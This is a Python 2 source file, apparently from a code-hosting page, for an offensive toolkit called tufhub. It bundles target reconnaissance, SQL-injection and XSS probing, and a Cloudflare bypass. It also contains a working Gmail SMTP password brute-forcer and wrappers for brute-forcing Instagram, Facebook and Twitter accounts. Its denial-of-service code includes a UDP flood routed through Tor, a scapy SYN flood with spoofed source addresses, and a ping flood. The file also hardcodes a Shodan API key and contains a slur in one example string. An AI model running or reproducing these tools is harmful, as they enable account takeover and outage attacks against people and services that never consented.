-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathtufhub.py
4547 lines (4226 loc) · 231 KB
/
tufhub.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/local/bin/python
# coding: latin-1
import platform
import webbrowser
import hashlib
import subprocess
import zipfile
import colorama
from modules import *
import modules.colors
import builtwith
from urllib2 import Request, urlopen, URLError, HTTPError
from urllib import urlencode
from plugins.DNSDumpsterAPI import DNSDumpsterAPI
import whois
import json
from urlparse import urlparse
from re import search, sub
import cookielib
import socket
from scapy.all import *
from threading import Thread, active_count
import os
import random
import string
import signal
import ssl
import argparse
import sys
import socks
import mechanize
import requests
import time
from datetime import datetime
now = datetime.now()
hour = now.hour
minute = now.minute
day = now.day
month = now.month
year = now.year
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
Gb = random._urandom(20000)
bytes = random._urandom(20000)
Kb = random._urandom(20000)
r = '\033[31m'
W = '\033[90m'
R = '\033[91m'
N = '\033[0m'
G = '\033[92m'
B = '\033[94m'
Y = '\033[93m'
LB = '\033[1;36m'
P = '\033[95m'
Bl = '\033[30m'
O = '\033[33m'
p = '\033[35m'
os.system("service tor start")
os.system("clear")
print "i did not most of the tools in here so dont think im saying that"
os.system("sleep 3")
os.system("clear")
def striker():
params = []
# Browser
br = mechanize.Browser()
# Just some colors and shit
white = '\033[1;97m'
green = '\033[1;32m'
red = '\033[1;31m'
yellow = '\033[1;33m'
end = '\033[1;m'
info = '\033[1;33m[!]\033[1;m'
que = '\033[1;34m[?]\033[1;m'
bad = '\033[1;31m[-]\033[1;m'
good = '\033[1;32m[+]\033[1;m'
run = '\033[1;97m[~]\033[1;m'
# Cookie Jar
cj = cookielib.LWPCookieJar()
br.set_cookiejar(cj)
# Browser options
br.set_handle_equiv(True)
br.set_handle_redirect(True)
br.set_handle_referer(True)
br.set_handle_robots(False)
# Follows refresh 0 but not hangs on refresh > 0
br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
br.addheaders = [
('User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')]
print '''\033[1;31m
_________ __ __ __
/ _____// |________|__| | __ ___________
\_____ \\\\ __\_ __ \ | |/ // __ \_ __ \\
/ \| | | | \/ | <\ ___/| | \/
/_______ /|__| |__| |__|__|_ \\\\___ >__|
\/ \/ \/\033[1;m'''
target = raw_input('\033[1;34m[?]\033[1;m Enter the target: ')
if 'http' in target:
parsed_uri = urlparse(target)
domain = '{uri.netloc}'.format(uri=parsed_uri)
else:
domain = target
try:
br.open('http://' + target)
target = 'http://' + target
except:
target = 'https://' + target
def sqli(url):
print '%s Using SQLMap api to check for SQL injection vulnerabilities. Don\'t worry we are using an online service and it doesn\'t depend on your internet connection. This scan will take 2-3 minutes.' % run
br.open('https://suip.biz/?act=sqlmap')
br.select_form(nr=0)
br.form['url'] = url
req = br.submit()
result = req.read()
match = search(r"---(?s).*---", result)
if match:
print '%s One or more parameters are vulnerable to SQL injection' % good
option = raw_input(
'%s Would you like to see the whole report? [Y/n] ' % que).lower()
if option == 'n':
pass
else:
print '\033[1;31m-\033[1;m' * 40
print match.group().split('---')[1][:-3]
print '\033[1;31m-\033[1;m' * 40
else:
print '%s None of parameters is vulnerable to SQL injection' % bad
def cms(domain):
try:
result = br.open('https://whatcms.org/?s=' + domain).read()
detect = search(r'class="nowrap" title="[^<]*">', result)
WordPress = False
try:
r = br.open(target + '/robots.txt').read()
if "wp-admin" in str(r):
WordPress = True
except:
pass
if detect:
print '%s CMS Detected : %s' % (info, detect.group().split('class="nowrap" title="')[1][:-2])
detect = detect.group().split('">')[1][:-27]
if 'WordPress' in detect:
option = raw_input(
'%s Would you like to use WPScan? [Y/n] ' % que).lower()
if option == 'n':
pass
else:
os.system('wpscan --random-agent --url %s' % domain)
elif WordPress:
print '%s CMS Detected : WordPress' % info
option = raw_input(
'%s Would you like to use WPScan? [Y/n] ' % que).lower()
if option == 'n':
pass
else:
os.system('wpscan --random-agent --url %s' % domain)
else:
print '%s %s doesn\'t seem to use a CMS' % (info, domain)
except:
pass
def honeypot(ip_addr):
result = {"0.0": 0, "0.1": 10, "0.2": 20, "0.3": 30, "0.4": 40, "0.5": 50, "0.6": 60, "0.7": 70, "0.8": 80, "0.9": 90, "1.0": 10}
honey = 'https://api.shodan.io/labs/honeyscore/%s?key=C23OXE0bVMrul2YeqcL7zxb6jZ4pj2by' % ip_addr
try:
phoney = br.open(honey).read()
if float(phoney) >= 0.0 and float(phoney) <= 0.4:
what = good
else:
what = bad
print '{} Honeypot Probabilty: {}%'.format(what, result[phoney])
except KeyError:
print '\033[1;31m[-]\033[1;m Honeypot prediction failed'
def whoisIt(url):
who = ""
print '{} Trying to gather whois information for {}'.format(run,url)
try:
who = str(whois.whois(url)).decode()
except Exception:
pass
test = who.lower()
if "whoisguard" in test or "protection" in test or "protected" in test:
print '{} Whois Protection Enabled{}'.format(bad, end)
else:
print '{} Whois information found{}'.format(good, end)
try:
data = json.loads(who)
for key in data.keys():
print "{} :".format(key.replace("_", " ").title()),
if type(data[key]) == list:
print ", ".join(data[key])
else:
print "{}".format(data[key])
except ValueError:
print '{} Unable to build response, visit https://who.is/whois/{} {}'.format(bad, url, end)
pass
def nmap(ip_addr):
port = 'http://api.hackertarget.com/nmap/?q=' + ip_addr
result = br.open(port).read()
result = sub(r'Starting[^<]*\)\.', '', result)
result = sub(r'Service[^<]*seconds', '', result)
result = os.linesep.join([s for s in result.splitlines() if s])
print result
def bypass(domain):
post = urlencode({'cfS': domain})
result = br.open(
'http://www.crimeflare.info/cgi-bin/cfsearch.cgi ', post).read()
match = search(r' \b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b', result)
if match:
bypass.ip_addr = match.group().split(' ')[1][:-1]
print '%s Real IP Address : %s' % (good, bypass.ip_addr)
def dnsdump(domain):
res = DNSDumpsterAPI(False).search(domain)
print '\n%s DNS Records' % good
for entry in res['dns_records']['dns']:
print '{domain} ({ip}) {as} {provider} {country}'.format(**entry)
for entry in res['dns_records']['mx']:
print '\n%s MX Records' % good
print '{domain} ({ip}) {as} {provider} {country}'.format(**entry)
print '\n\033[1;32m[+]\033[1;m Host Records (A)'
for entry in res['dns_records']['host']:
if entry['reverse_dns']:
print '{domain} ({reverse_dns}) ({ip}) {as} {provider} {country}'.format(**entry)
else:
print '{domain} ({ip}) {as} {provider} {country}'.format(**entry)
print '\n%s TXT Records' % good
for entry in res['dns_records']['txt']:
print entry
print '\n%s DNS Map: https://dnsdumpster.com/static/map/%s.png\n' % (good, domain.strip('www.'))
def fingerprint(ip_addr):
try:
result = br.open('https://www.censys.io/ipv4/%s/raw' % ip_addr).read()
match = search(r'"os_description": "[^<]*"', result)
if match:
print '%s Operating System : %s' % (good, match.group().split('n": "')[1][:-5])
except:
pass
ip_addr = socket.gethostbyname(domain)
print '%s IP Address : %s' % (info, ip_addr)
try:
r = requests.get(target)
header = r.headers['Server']
if 'cloudflare' in header:
print '%s Cloudflare detected' % bad
bypass(domain)
try:
ip_addr = bypass.ip_addr
except:
pass
else:
print '%s Server: %s' % (info, header)
try:
print '%s Powered By: %s' % (info, r.headers['X-Powered-By'])
except:
pass
try:
r.headers['X-Frame-Options']
except:
print '%s Clickjacking protection is not in place.' % good
except:
pass
fingerprint(ip_addr)
cms(domain)
try:
honeypot(ip_addr)
except:
pass
print "{}----------------------------------------{}".format(red, end)
whoisIt(domain)
try:
r = br.open(target + '/robots.txt').read()
print '\033[1;31m-\033[1;m' * 40
print '%s Robots.txt retrieved\n' % good, r
except:
pass
print '\033[1;31m-\033[1;m' * 40
nmap(ip_addr)
print '\033[1;31m-\033[1;m' * 40
dnsdump(domain)
os.system('cd plugins && python theHarvester.py -d %s -b all' % domain)
try:
br.open(target)
print '%s Crawling the target for fuzzable URLs' % run
for link in br.links():
if 'http' in link.url or '=' not in link.url:
pass
else:
url = target + '/' + link.url
params.append(url)
if len(params) == 0:
print '%s No fuzzable URLs found' % bad
quit()
print '%s Found %i fuzzable URLs' % (good, len(params))
for url in params:
print url
sqli(url)
url = url.replace('=', '<svg/onload=alert()>')
r = br.open(url).read()
if '<svg/onload=alert()>' in r:
print '%s One or more parameters are vulnerable to XSS' % good
break
print '%s These are the URLs having parameters:' % good
for url in params:
print url
except:
pass
def webkiller():
while True:
print(Banner)
print '\r'
def reverseHackTarget(website):
website = addHTTP(website)
webs = removeHTTP(website)
url = "http://api.hackertarget.com/reverseiplookup/?q="
combo = "{url}{website}".format(url=url, website=webs)
request = requests.get(combo, headers=functions._headers, timeout=5).text.encode('UTF-8')
if len(request) != 5:
list = request.strip("").split("\n")
for _links in list:
if len(_links) != 0:
write(var="+", color=w, data=_links)
else:
write(var="@", color=r, data="Sorry, The webserver of the website you entered have no domains other then the one you gave :')")
def reverseYouGetSignal(website):
website = addHTTP(website)
webs = removeHTTP(website)
url = "https://domains.yougetsignal.com/domains.php"
post = {
'remoteAddress' : webs,
'key' : ''
}
request = requests.post(url, headers=functions._headers, timeout=5, data=post).text.encode('UTF-8')
grab = json.loads(request)
Status = grab['status']
IP = grab['remoteIpAddress']
Domain = grab['remoteAddress']
Total_Domains = grab['domainCount']
Array = grab['domainArray']
if (Status == 'Fail'):
write(var="+", color=r, data="Sorry! Reverse Ip Limit Reached.")
else:
write(var="*", color=c, data="IP: " + IP + "")
write(var="*", color=c, data="Domain: " + Domain + "")
write(var="*", color=c, data="Total Domains: " + Total_Domains + "\n")
domains = []
for x, y in Array:
domains.append(x)
for res in domains:
write(var="+", color=w, data=res)
def geoip(website):
website = addHTTP(website)
webs = removeHTTP(website)
url = "http://api.hackertarget.com/geoip/?q="
combo = "{url}{website}".format(url=url, website=webs)
request = requests.get(combo, headers=functions._headers, timeout=5).text.encode('UTF-8')
if len(request) != 5:
list = request.strip("").split("\n")
for _links in list:
if len(_links) != 0:
write(var="+", color=w, data=_links)
else:
write(var="@", color=r, data="Sorry, The webserver of the website you entered have no domains other then the one you gave :')")
def httpheaders(website):
website = addHTTP(website)
webs = removeHTTP(website)
url = "http://api.hackertarget.com/httpheaders/?q="
combo = "{url}{website}".format(url=url, website=webs)
request = requests.get(combo, headers=functions._headers, timeout=5).text.encode('UTF-8')
if len(request) != 5:
list = request.strip("").split("\n")
for _links in list:
if len(_links) != 0:
write(var="+", color=w, data=_links)
else:
write(var="@", color=r, data="Sorry, The webserver of the website you entered have no domains other then the one you gave :')")
def cloudflare(website):
subdomainlist = ["ftp", "cpanel", "webmail", "localhost", "local", "mysql", "forum", "driect-connect", "blog",
"vb", "forums", "home", "direct", "forums", "mail", "access", "admin", "administrator",
"email", "downloads", "ssh", "owa", "bbs", "webmin", "paralel", "parallels", "www0", "www",
"www1", "www2", "www3", "www4", "www5", "shop", "api", "blogs", "test", "mx1", "cdn", "mysql",
"mail1", "secure", "server", "ns1", "ns2", "smtp", "vpn", "m", "mail2", "postal", "support",
"web", "dev"]
for sublist in subdomainlist:
try:
hosts = str(sublist) + "." + str(website)
showip = socket.gethostbyname(str(hosts))
print "[!] CloudFlare Bypass " + str(showip) + ' | ' + str(hosts)
except:
write(var="@", color=r,data="Sorry, The webserver of the website you entered have no domains other then the one you gave :')")
def whois(website):
website = addHTTP(website)
webs = removeHTTP(website)
url = "http://api.hackertarget.com/whois/?q="
combo = "{url}{website}".format(url=url, website=webs)
request = requests.get(combo, headers=functions._headers, timeout=5).text.encode('UTF-8')
if len(request) != 5:
list = request.strip("").split("\n")
for _links in list:
if len(_links) != 0:
write(var="+", color=w, data=_links)
else:
write(var="@", color=r, data="Sorry, The webserver of the website you entered have no domains other then the one you gave :')")
def dnslookup(website):
website = addHTTP(website)
webs = removeHTTP(website)
url = "http://api.hackertarget.com/dnslookup/?q="
combo = "{url}{website}".format(url=url, website=webs)
request = requests.get(combo, headers=functions._headers, timeout=5).text.encode('UTF-8')
if len(request) != 5:
list = request.strip("").split("\n")
for _links in list:
if len(_links) != 0:
write(var="+", color=w, data=_links)
else:
write(var="@", color=r, data="Sorry, The webserver of the website you entered have no domains other then the one you gave :')")
def findshareddns(website):
website = addHTTP(website)
webs = removeHTTP(website)
url = "http://api.hackertarget.com/findshareddns/?q="
combo = "{url}{website}".format(url=url, website=webs)
request = requests.get(combo, headers=functions._headers, timeout=5).text.encode('UTF-8')
if len(request) != 5:
list = request.strip("").split("\n")
for _links in list:
if len(_links) != 0:
write(var="+", color=w, data=_links)
else:
write(var="@", color=r, data="Sorry, The webserver of the website you entered have no domains other then the one you gave :')")
def heading(heading, website, color, afterWebHead):
space = " " * 10
var = str(heading + " '" + website + "'" + str(afterWebHead))
length = len(var) + 1; print "" # \n
print("\n\n{color}" + var).format(color=color)
print("{white}" + "-" * length + "--").format(white=w); print "" # \n
def fetch(url, decoding='utf-8'):
return urlopen(url).read().decode(decoding)
def portchacker(domain):
try:
port = "http://api.hackertarget.com/nmap/?q=" + domain
pport = fetch(port)
print (pport)
except:
write(var="@", color=r, data="Sorry, The webserver of the website you entered have no domains other then the one you gave ")
def CmsScan(website):
try:
website = addHTTP(website)
webs = removeHTTP(website)
w = builtwith.builtwith(website)
print "[+] Cms : " , w["cms"][0]
print "[+] Web Servers : " , w["web-servers"][0]
print "[+] Programming Languages : " , w["programming-languages"][0]
print "\n"
except:
write(var="@", color=r,data="Sorry, The webserver of the website you entered have no domains other then the one you gave ")
def RobotTxt(domain):
if not (domain.startswith('http://') or domain.startswith('https://')):
domain = 'http://' + domain
robot = domain + "/robots.txt"
try:
probot = fetch(robot)
print(probot)
except URLError:
write(var="@", color=r, data="Sorry, The webserver of the website you entered have no domains other then the one you gave ")
def PageAdminFinder(link):
f = open("admin.txt","r")
print "\n\nAvilable Links : \n"
while True:
sub_link = f.readline()
if not sub_link:
break
req_link = "http://" + link + "/" + sub_link
req = Request(req_link)
try:
response = urlopen(req)
except HTTPError as e:
continue
except URLError as e:
break
write(var="@", color=r, data="Sorry, The webserver of the website you entered have no domains other then the one you gave ")
else:
print "Find Page >> ", req_link
def Traceroute(website):
try:
port = "https://api.hackertarget.com/mtr/?q=" + website
pport = fetch(port)
print (pport)
except:
write(var="@", color=r, data="Sorry, The webserver of the website you entered have no domains other then the one you gave ")
def HoneypotDetector(ipaddress):
honey = "https://api.shodan.io/labs/honeyscore/" + ipaddress + "?key=C23OXE0bVMrul2YeqcL7zxb6jZ4pj2by"
try:
phoney = fetch(honey)
except URLError:
phoney = None
write(var="@", color=r, data="Sorry, The webserver of the website you entered have no domains other then the one you gave ")
if phoney:
print('Honeypot Percent : {probability}'.format(
color='2' if float(phoney) < 0.5 else '3', probability=float(phoney) * 10))
print "\n"
def ping(website):
try:
port = "http://api.hackertarget.com/nping/?q=" + website
pport = fetch(port)
print (pport)
except:
write(var="@", color=r, data="Sorry, The webserver of the website you entered have no domains other then the one you gave ")
print b + """
1 - Reverse IP With HackTarget
2 - Reverse IP With YouGetSignal
3 - Geo IP Lookup
4 - Whois
5 - Bypass CloudFlare
6 - DNS Lookup
7 - Find Shared DNS
8 - Show HTTP Header
9 - Port Scan
10 - CMS Scan
11 - Page Admin Finder
12 - Robots.txt
13 - Traceroute
14 - Honeypot Detector
15 - Ping
16 - All
17 - Exit
"""
EnterApp = raw_input("Enter : ")
if EnterApp == "1":
m = raw_input("Enter Address Website = ")
heading(heading="Reversing IP With HackTarget", color=c, website=m, afterWebHead="")
reverseHackTarget(m)
print "\n"
raw_input("[*] Back To Menu (Press Enter...) ")
elif EnterApp == "2":
m = raw_input("Enter Address Website = ")
heading(heading="Reverse IP With YouGetSignal", color=c, website=m, afterWebHead="")
reverseYouGetSignal(m)
print "\n"
raw_input("[*] Back To Menu (Press Enter...) ")
elif EnterApp == "3":
m = raw_input("Enter Address Website = ")
heading(heading="Geo IP Lookup", color=c, website=m, afterWebHead="")
geoip(m)
print "\n"
raw_input("[*] Back To Menu (Press Enter...) ")
elif EnterApp == "4":
m = raw_input("Enter Address Website = ")
heading(heading="Whois", color=c, website=m, afterWebHead="")
whois(m)
print "\n"
raw_input("[*] Back To Menu (Press Enter...) ")
elif EnterApp == "5":
m = raw_input("Enter Address Website = ")
heading(heading="Bypass Cloudflare", color=c, website=m, afterWebHead="")
cloudflare(m)
print "\n"
raw_input("[*] Back To Menu (Press Enter...) ")
elif EnterApp == "6":
m = raw_input("Enter Address Website = ")
heading(heading="DNS Lookup", color=c, website=m, afterWebHead="")
dnslookup(m)
print "\n"
raw_input("[*] Back To Menu (Press Enter...) ")
elif EnterApp == "7":
m = raw_input("Enter Address Website = ")
heading(heading="Find Shared DNS", color=c, website=m, afterWebHead="")
findshareddns(m)
print "\n"
raw_input("[*] Back To Menu (Press Enter...) ")
elif EnterApp == "8":
m = raw_input("Enter Address Website = ")
heading(heading="Show HTTP Header", color=c, website=m, afterWebHead="")
httpheaders(m)
print "\n"
raw_input("[*] Back To Menu (Press Enter...) ")
elif EnterApp == "9":
m = raw_input("Enter Address Website = ")
heading(heading="PortChacker", color=c, website=m, afterWebHead="")
portchacker(m)
print "\n"
raw_input("[*] Back To Menu (Press Enter...) ")
elif EnterApp == "10":
m = raw_input("Enter Address Website = ")
heading(heading="CMS Scan", color=c, website=m, afterWebHead="")
CmsScan(m)
print "\n"
raw_input("[*] Back To Menu (Press Enter...) ")
elif EnterApp == "11":
m = raw_input("Enter Address Website = ")
heading(heading="Page Admin Finder", color=c, website=m, afterWebHead="")
PageAdminFinder(m)
print "\n"
raw_input("[*] Back To Menu (Press Enter...) ")
elif EnterApp == "12":
m = raw_input("Enter Address Website = ")
heading(heading="Robot.txt", color=c, website=m, afterWebHead="")
RobotTxt(m)
raw_input("[*] Back To Menu (Press Enter...) ")
elif EnterApp == "13":
m = raw_input("Enter Address Website = ")
heading(heading="Traceroute", color=c , website=m , afterWebHead="")
Traceroute(m)
print "\n"
raw_input("[*] Back To Menu (Press Enter...) ")
elif EnterApp == "14":
m = raw_input("Enter (IP) Address = ")
heading(heading="Honeypot Detector", color=c , website=m , afterWebHead="")
HoneypotDetector(m)
print "\n"
raw_input("[*] Back To Menu (Press Enter...) ")
elif EnterApp == "15":
m = raw_input("Enter Address Website = ")
heading(heading="Ping", color=c , website=m , afterWebHead="")
ping(m)
print "\n"
raw_input("[*] Back To Menu (Press Enter...) ")
elif EnterApp == "16":
m = raw_input("Enter Address Website = ")
heading(heading="Reversing IP With HackTarget", color=c, website=m, afterWebHead="")
reverseHackTarget(m)
heading(heading="Reverse IP With YouGetSignal", color=c, website=m, afterWebHead="")
reverseYouGetSignal(m)
heading(heading="Geo IP Lookup", color=c, website=m, afterWebHead="")
geoip(m)
heading(heading="Whois", color=c, website=m, afterWebHead="")
whois(m)
heading(heading="Bypass Cloudflare", color=c, website=m, afterWebHead="")
cloudflare(m)
heading(heading="DNS Lookup", color=c, website=m, afterWebHead="")
dnslookup(m)
heading(heading="Find Shared DNS", color=c, website=m, afterWebHead="")
findshareddns(m)
heading(heading="Show HTTP Header", color=c, website=m, afterWebHead="")
httpheaders(m)
heading(heading="Port Scan", color=c, website=m, afterWebHead="")
portchacker(m)
heading(heading="Cms Scan", color=c, website=m, afterWebHead="")
CmsScan(m)
heading(heading="Robot.txt", color=c, website=m, afterWebHead="")
RobotTxt(m)
heading(heading="Traceroute", color=c , website=m , afterWebHead="")
Traceroute(m)
heading(heading="Ping", color=c , website=m , afterWebHead="")
ping(m)
heading(heading="Page Admin Finder", color=c, website=m, afterWebHead="")
PageAdminFinder(m)
print "\n"
raw_input("[*] Back To Menu (Press Enter...) ")
elif EnterApp == "17":
print "\n"
break
else:
print "[!] Please Enter a Number"
raw_input("[*] Back To Menu (Press Enter...) ")
def gmail():
#!/usr/bin/python
'''create by Ha3MrX'''
import smtplib
from os import system
def main():
print '================================================='
print ' create by Ha3MrX '
print '================================================='
print ' ++++++++++++++++++++ '
print '\n '
print ' _,. '
print ' '
print ' '
print ' HA3MrX '
print ' _,. '
print ' ,` -.) '
print ' ( _/-\\-._ '
print ' /,|`--._,-^| , '
print ' \_| |`-._/|| , | '
print ' | `-, / | / / '
print ' | || | / / '
print ' `r-._||/ __ / / '
print ' __,-<_ )`-/ `./ / '
print ' \ `--- \ / / / '
print ' | |./ / '
print ' / // / '
print ' \_/ \ |/ / '
print ' | | _,^- / / '
print ' | , `` (\/ /_ '
print ' \,.->._ \X-=/^ '
print ' ( / `-._//^` '
print ' `Y-.____(__} '
print ' | {__) '
print ' () V.1.0 '
main()
print '[1] start the attack'
print '[2] exit'
option = input('==>')
if option == 1:
file_path = raw_input('path of passwords file :')
else:
system('clear')
exit()
pass_file = open(file_path,'r')
pass_list = pass_file.readlines()
def login():
i = 0
user_name = raw_input('target email :')
server = smtplib.SMTP_SSL('smtp.gmail.com', 465)
server.ehlo()
for password in pass_list:
i = i + 1
print str(i) + '/' + str(len(pass_list))
try:
server.login(user_name, password)
system('clear')
main()
print '\n'
print '[+] This Account Has Been Hacked Password :' + password + ' ^_^'
break
except smtplib.SMTPAuthenticationError as e:
error = str(e)
if error[14] == '<':
system('clear')
main()
print '[+] this account has been hacked, password :' + password + ' ^_^'
break
else:
print '[!] password not found => ' + password
login()
def redhawk():
os.system("php /root/tufhub/redhawk/rhawk.php")
def portscan():
port = raw_input("Target> ")
os.system("nmap " + port)
def instagram():
print "Type username wordlist threads Example: --> unkn0wn_bali wordlist.txt 60"
insta = raw_input("--> ")
os.system("python /root/tufhub/password/instagram.py " + insta)
def hydra():
print "Example: -l [email protected] -s 465 -S -v -V -P gmailcrack.txt -t 32 [!dont type hydra just type arguments!]"
hydra = raw_input("[HYDRA]$ ")
os.system("hydra " + hydra)
def twitter():
os.system("cd /root/tufhub/password && chmod +x /root/tufhub/password * && sh /root/tufhub/password/tweetshell.sh")
def facebook():
print "Type Email / ID Wordlist Example: [FACEBOOK->]: nigga.andrew777 facelist.txt"
facebook = raw_input("[FACEBOOK->]: ")
os.system("cd password && perl fb-brute.pl " + facebook)
def udp():
target = raw_input(R+"[Target] \033[0m$ ")
ip = socket.gethostbyname(target)
port = input(R+"[Port] \033[0m$ ")
os.system("service tor restart")
print N+"udp attack started on {0}.{1} | {2}-{3}-{4}".format(hour, minute, day, month, year)
os.system("sleep 2s")
sent = 0
print "KILLING %s CONNECTIONS"%(ip)
while True:
sock.sendto(Gb, (ip,port))
sock.sendto(bytes, (ip,port))
sock.sendto(Kb, (ip,port))
sent = sent + 1
port = port + 1
print N+"|+| Slapping |\033[31m %s \033[0m| Port |\033[31m %s \033[0m| Bytes |\033[31m %s \033[0m|"%(ip,port,sent)
if port == 65534:
port = 1
port = 1
def syn():
def randomIP():
ip = ".".join(map(str, (random.randint(0,255)for _ in range(4))))
return ip
def randInt():
x = random.randint(1000,9000)
return x
def SYN_Flood(dstIP,dstPort,counter):
total = 0
print "Packets are sending ..."
for x in range (0,counter):
s_port = randInt()
s_eq = randInt()
w_indow = randInt()
IP_Packet = IP ()
IP_Packet.src = randomIP()
IP_Packet.dst = dstIP
TCP_Packet = TCP ()
TCP_Packet.sport = s_port
TCP_Packet.dport = dstPort
TCP_Packet.flags = "S"
TCP_Packet.seq = s_eq
TCP_Packet.window = w_indow
send(IP_Packet/TCP_Packet, verbose=0)
total+=1
sys.stdout.write("\nTotal packets sent: %i\n" % total)
def info():
dstIP = raw_input ("\nTarget IP : ")
dstPort = input ("Target Port : ")
return dstIP,int(dstPort)
def main():
dstIP,dstPort = info()
counter = input ("Packets : ")
SYN_Flood(dstIP,dstPort,int(counter))
main()
def pod():
pod = raw_input("Enter Target: ")
ip = socket.gethostbyname(pod)
while True:
os.system("ping -n -l 60000 " + ip)
os.system("ping -n -l 60000 " + ip)
os.system("ping -n -l 60000 " + ip)
os.system("ping -n -l 60000 " + ip)
os.system("ping -n -l 60000 " + ip)
os.system("ping -n -l 60000 " + ip)
os.system("ping -n -l 60000 " + ip)
os.system("ping -n -l 60000 " + ip)
os.system("ping -n -l 60000 " + ip)
def tcp():
print N+"Example: tcp 10.63.25.2 -p 80 -t 4000"
print N+" -p = port -t = threads"
tcp = raw_input("|TCP|--> ")
os.system("python " + tcp)
def help():
print G+"-" * 100
print r+"[1] Stress Testing"
print "[2] Exploits"
print "[3] Info Gather"
print "[4] Tool Installer #!: (just installs new tools doesnt run them)"
print "[5] Password Attacks"
print "[6] Wireless"
print "[7] Other"
print "menu : goes back to main menu (only if not in main menu)"
print "clear: what the fuck do you think it does"
print "vpn : starts vpn service (!ONLY WORKS IF YOU HAVE 4nonimizier INSTALLED!)"
print G+"-" * 100
def mainbanner():
print N+"""
:PB@Bk:
,jB@@B@B@B@BBL.
7G@B@B@BMMMMMB@B@B@Nr
:kB@B@@@MMOMOMOMOMMMM@B@B@B1,
:5@B@B@B@BBMMOMOMOMOMOMOMM@@@B@B@BBu.
70@@@B@B@B@BXBBOMOMOMOMOMOMMBMPB@B@B@B@B@Nr
G@@@BJ iB@B@@ OBMOMOMOMOMOMOM@2 B@B@B. EB@B@S
@@BM@GJBU. iSuB@OMOMOMOMOMOMM@OU1: .kBLM@M@B@
B@MMB@B 7@BBMMOMOMOMOMOBB@: B@BMM@B
@@@B@B T 7@@@MMOMOMOMM@B@: T @@B@B@